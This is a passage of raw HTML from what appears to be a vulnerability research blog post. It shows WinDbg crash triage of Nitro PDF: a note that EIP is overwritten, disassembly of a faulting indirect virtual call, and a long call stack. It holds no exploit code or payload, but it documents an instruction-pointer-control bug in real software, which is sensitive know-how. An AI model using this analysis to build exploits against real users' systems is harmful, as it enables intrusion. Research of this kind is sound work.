id=\"crayon-59767285e1373949569762-9\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0018 seconds] -->  <\/p>\n<p>eip is overwritten with random memory.<\/p>\n<p>Disassembly of the prior call:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59767285e1376852640082\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8230;  68dbff59 8b4af0          mov     ecx,dword ptr [edx-10h]  68dbff5c 85c9            test    ecx,ecx  68dbff5e 7409            je      npdf!TerminateApp+0xb7d99 (68dbff69)  68dbff60 8b01            mov     eax,dword ptr [ecx]  68dbff62 ff5010          call    dword ptr [eax+10h]  &#8230;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1376852640082-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1376852640082-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1376852640082-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1376852640082-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1376852640082-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1376852640082-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1376852640082-7\">7<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59767285e1376852640082-1\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1376852640082-2\"><span class=\"crayon-cn\">68dbff59<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8b4af0<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">mov&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">ecx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-e\">dword <\/span><span class=\"crayon-i\">ptr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">edx<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">10h<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1376852640082-3\"><span class=\"crayon-cn\">68dbff5c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">85c9<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">test&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ecx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-i\">ecx<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1376852640082-4\"><span class=\"crayon-cn\">68dbff5e<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">7409<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">je&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">TerminateApp<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xb7d99<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">68dbff69<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1376852640082-5\"><span class=\"crayon-cn\">68dbff60<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8b01<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">mov&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">eax<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-e\">dword <\/span><span class=\"crayon-i\">ptr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">ecx<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1376852640082-6\"><span class=\"crayon-cn\">68dbff62<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ff5010&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">call&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">dword <\/span><span class=\"crayon-i\">ptr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">eax<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">10h<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1376852640082-7\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0011 seconds] -->  <\/p>\n<p>call stack: <\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59767285e1379144962841\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8230;   # ChildEBP RetAddr  Args to Child                00 01145610 68dbff65 694dc564 0133115c 01145678 0x4f532f32  01 01145628 691f7bab 0114567c 00000000 00000000 npdf!TerminateApp+0xb7d95  02 01145650 691f7a42 0114567c 03a1aa80 013311c0 npdf!CxRect2::Width+0x5220b  03 0114568c 691f7ab7 00000000 00000001 691ed76b npdf!CxRect2::Width+0x520a2  04 011456a0 6938952b 68c70000 00000000 00000001 npdf!CxRect2::Width+0x52117  05 011456e0 693894b2 68c70000 00000000 00000001 npdf!CxRect2::Width+0x1e3b8b  06 011456f4 77b092e0 68c70000 00000000 00000001 npdf!CxRect2::Width+0x1e3b12  07 01145714 77b29da4 69389496 68c70000 00000000 ntdll!RtlQueryEnvironmentVariable+0x241  08 011457b8 77b29c46 0133da3c 77b096e5 0133da40 ntdll!LdrShutdownProcess+0x141  09 011457cc 76ca79c5 00000000 77e8f3b0 ffffffff ntdll!RtlExitUserProcess+0x74  0a 011457e0 693926a6 ffffffff 01145834 69392aae kernel32!ExitProcess+0x15  0b 011457ec 69392aae ffffffff bf850c3a 16cf003a npdf!CxRect2::Width+0x1ecd06  0c 01145834 69392ad2 ffffffff 00000000 00000000 npdf!CxRect2::Width+0x1ed10e  0d 01145848 6916a9c7 ffffffff 690bb918 bf850c62 npdf!CxRect2::Width+0x1ed132  0e 0114586c 690ff453 bf850cb6 16cf003a 16cf0030 npdf!CxImage::Thumbnail+0x14907  0f 011458b8 690e7319 16cf003a 00000200 16cefdc0 npdf!CxImageJAS::Encode+0x5abb3  10 01145920 690dfc47 00000000 00000000 bf850d7a npdf!CxImageJAS::Encode+0x42a79  11 01145974 6907c89d 1691a5b0 00000000 bf85f4ca npdf!CxImageJAS::Encode+0x3b3a7  12 0114a0c4 6907da8e 0114aab4 0114ab04 bf85f556 npdf!CxImagePNG::user_write_data+0x6bc1d  13 0114a158 68eb0f95 0114aae4 00034627 00000000 npdf!CxImagePNG::user_write_data+0x6ce0e  14 0114a178 68eb1660 0114aae4 00034627 00000000 npdf!CxImage::~CxImage+0x88f35  15 0114a1d8 68eb0d1a 00000000 0404004c 0114aae4 npdf!CxImage::~CxImage+0x89600  16 0114aa80 68dea973 0114aae4 00034627 00000000 npdf!CxImage::~CxImage+0x88cba  17 0114ab28 68dea846 00000000 04080055 bf85ffb2 npdf!TerminateApp+0xe27a3  18 0114abbc 68dea566 00000000 04090034 bf85ffea npdf!TerminateApp+0xe2676  19 0114abe4 68d29e9b 00000000 04090034 00000002 npdf!TerminateApp+0xe2396  1a 0114ac0c 68d29952 00000000 04090034 00000002 npdf!TerminateApp+0x21ccb  1b 0114ac24 68f93f9b 00000000 04090034 00000002 npdf!TerminateApp+0x21782  1c 0114ac5c 68efe9c0 00001de2 00000ce4 000009f6 npdf!CxImage::~CxImage+0x16bf3b  1d 0114b6dc 68fa54c8 0114b77c bf85953e 061e8998 npdf!CxImage::~CxImage+0xd6960  1e 0114c130 68e3e6a6 16ba3598 00000000 00000000 npdf!CxImage::~CxImage+0x17d468  1f 0114c168 68e4133d 16c8c150 0114c1b0 16ba3438 npdf!CxImage::~CxImage+0x16646  20 0114c1a8 68e37ca2 061e8998 bf859df6 16ba3438 npdf!CxImage::~CxImage+0x192dd  21 0114c9f8 68e5b509 bf859a92 0575f818 16ba3438 npdf!CxImage::~CxImage+0xfc42  22 0114ce9c 68e5a956 0114d730 68e4016b 00000000 npdf!CxImage::~CxImage+0x334a9  23 0114cea4 68e4016b 00000000 014e4020 0114e14c npdf!CxImage::~CxImage+0x328f6  24 0114d730 68d786df 4b011fcc 0114e0fc 00000000 npdf!CxImage::~CxImage+0x1810b  25 0114dff8 68d7a771 4b011fcc 0114e0fc 00000000 npdf!TerminateApp+0x7050f  26 0114e020 014e6381 16bc08e8 0114e0f4 bc2b49e1 npdf!TerminateApp+0x725a1  27 0114e634 014eb65d 16ca1778 5b012454 0114e678 NitroPDF!CxIOFile::Write+0x92521  28 0114ee9c 73f8b443 0114eeb8 bf88cba9 16ca1778 NitroPDF!CxIOFile::Write+0x977fd  29 0114ef1c 73f9ae0c bf88cb9d 16ca1778 16ca1778 mfc120u+0x22b443  2a 0114efe0 73f9a901 0000000f 00000000 00000000 mfc120u+0x23ae0c  2b 0114f000 73f98f33 0000000f 00000000 00000000 mfc120u+0x23a901  2c 0114f070 73f99155 16ca1778 004509c0 0000000f mfc120u+0x238f33  2d 0114f090 73e97e8e 004509c0 0000000f 00000000 mfc120u+0x239155  2e 0114f0cc 76fa62fa 004509c0 0000000f 00000000 mfc120u+0x137e8e  2f 0114f0f8 76fa6d3a 73e97e5a 004509c0 0000000f USER32!gapfnScSendMessage+0x332  30 0114f170 76fa6de8 00000000 73e97e5a 004509c0 USER32!GetThreadDesktop+0xd7  31 0114f1cc 76fa6e44 02055d40 00000000 0000000f USER32!GetThreadDesktop+0x185  32 0114f208 77ae010a 0114f220 00000000 0114f274 USER32!GetThreadDesktop+0x1e1  33 0114f284 76fa788a 73e97e5a 00000000 0114f2c0 ntdll!KiUserCallbackDispatcher+0x2e  34 0114f294 73f886f2 012fa0f8 00000001 0178ef40 USER32!DispatchMessageW+0xf  35 0114f2c0 0153365e bc2b5389 ffffffff 0178ef40 mfc120u+0x2286f2  36 0114fc5c 73fabde4 00000000 00000020 00000001 NitroPDF!CxIOFile::Write+0xdf7fe  37 0114fc70 0164e72d 013e0000 00000000 012b3120 mfc120u+0x24bde4  38 0114fcbc 76ca336a 7efde000 0114fd08 77b09882 NitroPDF!CxImageJPG::CxExifInfo::process_SOFn+0x637dd  39 0114fcc8 77b09882 7efde000 741ca300 00000000 kernel32!BaseThreadInitThunk+0x12  3a 0114fd08 77b09855 0164e7ab 7efde000 ffffffff ntdll!RtlInitializeExceptionChain+0x63  3b 0114fd20 00000000 0164e7ab 7efde000 00000000 ntdll!RtlInitializeExceptionChain+0x36    &#8230;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-58\">58<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e1379144962841-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e1379144962841-64\">64<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-1\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-2\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-p\"># ChildEBP RetAddr&nbsp;&nbsp;Args to Child&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-3\"><span class=\"crayon-cn\">00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">01145610<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68dbff65<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">694dc564<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0133115c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">01145678<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x4f532f32<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-4\"><span class=\"crayon-cn\">01<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">01145628<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">691f7bab<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114567c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">TerminateApp<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xb7d95<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-5\"><span class=\"crayon-cn\">02<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">01145650<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">691f7a42<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114567c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">03a1aa80<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">013311c0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxRect2<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Width<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x5220b<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-6\"><span class=\"crayon-cn\">03<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114568c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">691f7ab7<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000001<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">691ed76b<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxRect2<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Width<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x520a2<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-7\"><span class=\"crayon-cn\">04<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">011456a0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">6938952b<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68c70000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000001<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxRect2<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Width<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x52117<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-8\"><span class=\"crayon-cn\">05<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">011456e0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">693894b2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68c70000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000001<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxRect2<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Width<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1e3b8b<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-9\"><span class=\"crayon-cn\">06<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">011456f4<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">77b092e0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68c70000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000001<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxRect2<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Width<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1e3b12<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-10\"><span class=\"crayon-cn\">07<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">01145714<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">77b29da4<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">69389496<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68c70000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ntdll<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">RtlQueryEnvironmentVariable<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x241<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-11\"><span class=\"crayon-cn\">08<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">011457b8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">77b29c46<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0133da3c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">77b096e5<\/span><span class=\"crayon-h\"> <\/span><span 